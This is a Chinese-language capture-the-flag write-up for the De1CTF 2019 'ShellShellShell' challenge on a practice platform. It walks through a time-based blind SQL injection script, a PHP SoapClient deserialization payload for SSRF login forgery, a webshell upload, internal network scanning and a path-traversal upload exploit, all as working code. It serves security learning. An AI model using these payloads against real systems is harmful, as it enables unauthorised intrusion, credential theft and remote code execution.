[De1CTF 2019]ShellShellShell

平台:buuoj.cn
打开靶机是一个登录框
[De1CTF 2019]ShellShellShell_第1张图片
扫描器发现一些文件
[De1CTF 2019]ShellShellShell_第2张图片
后缀有个~还是第一次见,了解到是编辑器留下的备份文件,访问确实有源码
把几个文件都复制下来看看,seay审计软件爆了几个危险部分
[De1CTF 2019]ShellShellShell_第3张图片
看下位置代码
[De1CTF 2019]ShellShellShell_第4张图片
将传入的参数传到数据库执行。注意到还有一个get_column函数
[De1CTF 2019]ShellShellShell_第5张图片
传入的反引号会被替换成单引号。为sql注入创造了条件
看下哪个方法用到了insert函数
找到:
[De1CTF 2019]ShellShellShell_第6张图片
可以看到我们可以post一个signature去insert,并且这里对于这个参数是没有任何过滤的,所以很容易造成Sql注入
想要publish,就必须登录。
[De1CTF 2019]ShellShellShell_第7张图片
因此我们?action=register来注册一个账号并登录
然后注册和登录就必须通过code验证
可以看到是一个简单的md5碰撞,脚本爆破即可

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value=hashlib.md5(str(x).encode(encoding='utf-8')).hexdigest()
        if md5_value[:5]==md5_val:
            return str(x)

if __name__ == '__main__':
    print(func('ac7a2'))

[De1CTF 2019]ShellShellShell_第8张图片
[De1CTF 2019]ShellShellShell_第9张图片
登录成功我们来抓publish的包验证sql注入
[De1CTF 2019]ShellShellShell_第10张图片
根据代码语句构造payload:
[De1CTF 2019]ShellShellShell_第11张图片
那么确认了sql注入的存在,由于回显都是ok,考虑时间盲注
编写脚本:

import requests

url="http://f19eea67-1117-416a-9834-1d58c44d1f53.node3.buuoj.cn/index.php?action=publish"
cookie = {"PHPSESSID":"05gn4tlsacq7pfundd7f89f983"}

k="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag=""

for i in range(50): 
    for j in k:
        j = ord(j)
        data={
            'mood':'0',
            'signature':'1`,if(ascii(substr((select password from ctf_users where username=`admin`),{},1))={},sleep(3),0))#'.format(i,j)
            }
        try:
            r=requests.post(url,data=data,cookies=cookie,timeout=(2,2))
        except:
            flag+=chr(j)
            print(flag)
            break

至于这里为什么是知道跑admin和ctf_users表,嗯。。。。。看代码得到的
在这里插入图片描述
跑出密码的md5:c991707fdf339958eded91331fb11ba0
网站解密得jaivypassword
知道了admin和password,我们来试着登录
却登录失败
[De1CTF 2019]ShellShellShell_第12张图片
原来设置了ip限制
[De1CTF 2019]ShellShellShell_第13张图片
跟进get_ip函数
[De1CTF 2019]ShellShellShell_第14张图片
看来只有真实管理员地址才能登录
这里就出现了另一个考点:soapclient反序列化配合ssrf
通过?action=phpinfo看到php开启了soap拓展
[De1CTF 2019]ShellShellShell_第15张图片
PHP 中,soap扩展可以用来提供和使用 Web Services,关于Web Services,百度百科
soapclient类则是用来创建soap数据报文,与wsdl接口进行交互,它有几个内置魔术方法
[De1CTF 2019]ShellShellShell_第16张图片
回到代码,showmess函数中有一个反序列化点
[De1CTF 2019]ShellShellShell_第17张图片
反序列化$row[2]的值也就是$mood是我们可控的,假如我们把反序列化语句插入到注入语句中,比如

a`,{serialize);#

它传入库中,我们访问index.php?action=index的时候就会触发
来实际操作一下
首先一个页面保持自己的非admin账号登录状态,另开一个页面不登录,这里为了防止cookie干扰就直接另开一个浏览器
[De1CTF 2019]ShellShellShell_第18张图片
[De1CTF 2019]ShellShellShell_第19张图片
接着开始构造soap,原理参考这位师傅


$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=1174162';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=c10j7vc0fu9v8gf52qt9st4pr0'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

这里注意code和PHPSESSID要和未登录页面保持一致
把生成的poc在publish插进去
[De1CTF 2019]ShellShellShell_第20张图片
刷新一下?action=index使得库中的数据触发
这时$mood就是一个soap类,反序列化之后它访问不存在的方法就会触发内置__call()魔术方法
[De1CTF 2019]ShellShellShell_第21张图片
[De1CTF 2019]ShellShellShell_第22张图片
也就是给该session登录的用户管理员身份
用另一个页面登录管理员账号看看
成功登录
[De1CTF 2019]ShellShellShell_第23张图片
点开publish是一个上传
[De1CTF 2019]ShellShellShell_第24张图片
让我们传图片但啥也没过滤,直接一句话传成功
[De1CTF 2019]ShellShellShell_第25张图片
蚁剑连上
[De1CTF 2019]ShellShellShell_第26张图片
之前说了flag在内网,查看下内网信息
[De1CTF 2019]ShellShellShell_第27张图片
扫下其他内网主机的端口
发现11主机开了80端口
[De1CTF 2019]ShellShellShell_第28张图片
访问下有内容
[De1CTF 2019]ShellShellShell_第29张图片
保存下来
[De1CTF 2019]ShellShellShell_第30张图片
得到源码
[De1CTF 2019]ShellShellShell_第31张图片
有两层需要绕过
在这里插入图片描述
在这里插入图片描述
第一层数组来绕过,第二层随机文件名用路径穿越绕过。
构造file[1]=aaa&file[0]=php/../blacknight.php
postman构造传入
[De1CTF 2019]ShellShellShell_第32张图片
点击右上方的code选择php-cURL生成代码
[De1CTF 2019]ShellShellShell_第33张图片
但没有我们上传的内容所以要自己构造,这里参考赵总
最终exp:



$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => "http://173.24.214.11",
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "POST",
  CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"blacknight.php\"\r\nContent-Type: false\r\n\r\n@,
  CURLOPT_HTTPHEADER => array(
    "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
    "cache-control: no-cache",
    "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
  ),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
  echo "cURL Error #:" . $err;
} else {
  echo $response;
}

把flag查询语句放到中间
全部复制下来放到php文件中上传
[De1CTF 2019]ShellShellShell_第34张图片
访问即得flag
[De1CTF 2019]ShellShellShell_第35张图片
信息量太大,做的我脑瓜子嗡嗡的

你可能感兴趣的:(ctf,代码审计,sql注入)